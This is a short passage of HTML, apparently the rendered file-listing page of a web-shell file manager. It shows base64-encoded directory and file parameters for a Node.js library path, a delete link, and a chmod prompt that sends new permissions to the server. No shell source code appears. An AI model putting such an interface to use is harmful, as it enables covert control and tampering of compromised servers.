value="0644"></td><td>5440</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&x=c3RhY2tmcmFtZS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=c3RhY2tmcmFtZS5qcw=="/>stackframe.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=c3RhY2tmcmFtZS5qcw==&c=`+btoa(c):0" value="0644"></td><td>1347</td></tr></table>